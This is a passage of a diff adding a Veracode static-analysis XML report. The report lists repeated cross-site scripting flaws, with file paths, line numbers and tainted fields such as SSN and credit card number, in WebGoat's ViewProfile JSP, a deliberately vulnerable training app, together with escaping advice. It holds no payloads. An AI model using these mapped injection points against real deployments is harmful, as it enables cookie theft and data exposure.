+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"216\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"30\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"259\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"63\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"29\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"242\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"194\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"64\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"32\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"171\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"65\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"31\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"116\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"155\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getSsn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"34\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"189\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
